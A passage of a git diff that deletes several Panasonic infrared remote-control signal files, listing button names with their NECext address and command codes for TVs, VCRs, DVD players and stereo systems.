-protocol: NECext -address: 90 00 00 00 -command: 18 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 19 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 33 00 00 00 -# -name: +/-- -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 3B 00 00 00 -# -name: vtr -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 3D 00 00 00 -# -name: time_search -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 44 00 00 00 -# -name: mem_rep -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 53 00 00 00 -# -name: reset -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 54 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 56 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 8E 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 8F 00 00 00 -# -name: monitor -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 91 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 90 00 00 00 -command: F0 00 00 00 -# -name: memory -type: parsed -protocol: NECext -address: 90 00 00 00 -command: F1 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 90 00 00 00 -command: F2 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 90 00 00 00 -command: F3 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/0,-1.ir deleted file mode 100644 index 61f8e54eb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/0,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: X_KEY_QUIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: BAL_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: BAL_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3A 00 00 00 -# -name: BWD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/176,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/176,0.ir deleted file mode 100644 index 03d5cdd39..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/176,0.ir +++ /dev/null @@ -1,296 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 00 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 01 00 00 00 -# -name: SEARCH_BACK -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 04 00 00 00 -# -name: SEARCH_FORWARD -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 05 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 06 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 0A 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 10 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 11 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 12 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 13 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 18 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 19 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 33 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 3D 00 00 00 -# -name: POSITION_MEMORY -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 46 00 00 00 -# -name: A-B_REPEAT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 48 00 00 00 -# -name: SKIP_BACK -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 49 00 00 00 -# -name: SKIP_FORWARD -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 4A 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 4D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 80 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 81 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 82 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 83 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 85 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 86 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 87 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 88 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 88 00 00 00 -# -name: X_KEY_0+ -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 89 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 8A 00 00 00 -# -name: QUICK_REPLAY -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 8B 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 8C 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 90 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 91 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 92 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 94 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 9B 00 00 00 -# -name: A_SRD -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 9E 00 00 00 -# -name: FL_SELECT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: B6 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: B0 00 00 00 -command: B7 00 00 00 -# -name: SEQUENTIAL -type: parsed -protocol: NECext -address: B0 00 00 00 -command: BF 00 00 00 -# -name: CINEMA -type: parsed -protocol: NECext -address: B0 00 00 00 -command: C0 00 00 00 -# -name: BASS -type: parsed -protocol: NECext -address: B0 00 00 00 -command: D4 00 00 00 -# -name: D_ENH -type: parsed -protocol: NECext -address: B0 00 00 00 -command: D5 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: EB 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_Panasonic-EUR571100/144,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_Panasonic-EUR571100/144,0.ir deleted file mode 100644 index 6e8ff1071..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_Panasonic-EUR571100/144,0.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 00 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 02 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 03 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 06 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 08 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 0A 00 00 00 -# -name: STILL -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 0C 00 00 00 -# -name: VTR/TV -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 36 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 3D 00 00 00 -# -name: TRACKING_PLUS -type: parsed -protocol: NECext -address: 90 00 00 00 -command: B1 00 00 00 -# -name: TRACKING_MINUS -type: parsed -protocol: NECext -address: 90 00 00 00 -command: B2 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_Panasonic-RAK-RX314W/160,194.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_Panasonic-RAK-RX314W/160,194.ir deleted file mode 100644 index 4ca6d1f22..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_Panasonic-RAK-RX314W/160,194.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: cdstop -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 80 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 81 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 82 00 00 00 -# -name: cdrev -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 84 00 00 00 -# -name: cdfwd -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 85 00 00 00 -# -name: cdpause -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 86 00 00 00 -# -name: cdplay -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 87 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 8B 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 8D 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 8F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 90 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 91 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 92 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 93 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 94 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 95 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 96 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 97 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 98 00 00 00 -# -name: ten -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 99 00 00 00 -# -name: +ten -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 9F 00 00 00 -# -name: tapestop -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A0 00 00 00 -# -name: taperev -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A2 00 00 00 -# -name: tapefwd -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A3 00 00 00 -# -name: taperec -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A4 00 00 00 -# -name: tapeplayleft -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A5 00 00 00 -# -name: tapeplayright -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A6 00 00 00 -# -name: tapedeck -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: AD 00 00 00 -# -name: tapereverse_mode -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: AE 00 00 00 -# -name: tapecounter_reset -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: AF 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B0 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B1 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B6 00 00 00 -# -name: band -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B8 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: BC 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: BF 00 00 00 -# -name: fmmode -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: E4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_RAK-RX309W/160,194.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_RAK-RX309W/160,194.ir deleted file mode 100644 index 9aaf6de27..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_RAK-RX309W/160,194.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: cdstop -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 80 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 81 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 82 00 00 00 -# -name: cdrev -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 84 00 00 00 -# -name: cdfwd -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 85 00 00 00 -# -name: cdpause -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 86 00 00 00 -# -name: cdplay -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 87 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 8B 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 8D 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 8F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 90 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 91 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 92 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 93 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 94 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 95 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 96 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 97 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 98 00 00 00 -# -name: ten -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 99 00 00 00 -# -name: +ten -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 9F 00 00 00 -# -name: tapestop -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A0 00 00 00 -# -name: taperev -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A2 00 00 00 -# -name: tapefwd -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A3 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A4 00 00 00 -# -name: tapeplayleft -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A5 00 00 00 -# -name: tapeplay -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A6 00 00 00 -# -name: deck -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: AD 00 00 00 -# -name: reversemode -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: AE 00 00 00 -# -name: counterreset -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: AF 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B0 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B1 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B6 00 00 00 -# -name: tunerband -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B8 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: BC 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: BF 00 00 00 -# -name: fmmode -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: E4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_RC4346-01B/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_RC4346-01B/0,-1.ir deleted file mode 100644 index 70e68421e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_RC4346-01B/0,-1.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: a_ch -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: av+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: cc -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5B 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6D 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6E 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6F 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 70 00 00 00 -# -name: active -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 96 00 00 00 -# -name: mycontent -type: parsed -protocol: NECext -address: 00 00 00 00 -command: BE 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: C1 00 00 00 -# -name: view -type: parsed -protocol: NECext -address: 00 00 00 00 -command: D2 00 00 00 -# -name: tick -type: parsed -protocol: NECext -address: 00 00 00 00 -command: D3 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: D9 00 00 00 -# -name: format -type: parsed -protocol: NECext -address: 00 00 00 00 -command: F5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_RX-ED70/160,194.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_RX-ED70/160,194.ir deleted file mode 100644 index 3a9338a14..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_RX-ED70/160,194.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD_CLEAR -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 80 00 00 00 -# -name: CD_REPEAT -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 81 00 00 00 -# -name: CD_RANDOM -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 82 00 00 00 -# -name: CD_START -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 84 00 00 00 -# -name: CD_END -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 85 00 00 00 -# -name: CD_PLAY -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 87 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: 8F 00 00 00 -# -name: TAPE_STOP -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A0 00 00 00 -# -name: TAPE_REWIND -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A2 00 00 00 -# -name: TAPE_FF -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A3 00 00 00 -# -name: TAPE_PLAY -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: A6 00 00 00 -# -name: TAPE_DESC -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: AD 00 00 00 -# -name: TAPE_REV_MODE -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: AE 00 00 00 -# -name: TAPE_RESET -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: AF 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B0 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B1 00 00 00 -# -name: TUNER_BAND -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: B8 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: BC 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: BF 00 00 00 -# -name: PRESET_EQ -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: D9 00 00 00 -# -name: TUNER_STEREO_MONO -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: E4 00 00 00 -# -name: TUNER_UP -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: E7 00 00 00 -# -name: TUNER_DOWN -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: E8 00 00 00 -# -name: TUNER_BP -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: EF 00 00 00 -# -name: TOP_PANEL_OPEN -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: F4 00 00 00 -# -name: TOP_PANEL_CLOSE -type: parsed -protocol: NECext -address: A0 C2 00 00 -command: F5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_TV/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_TV/0,-1.ir deleted file mode 100644 index d3e4f0987..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Panasonic/Unknown_TV/0,-1.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: R-Tune -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: TV/Video -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed 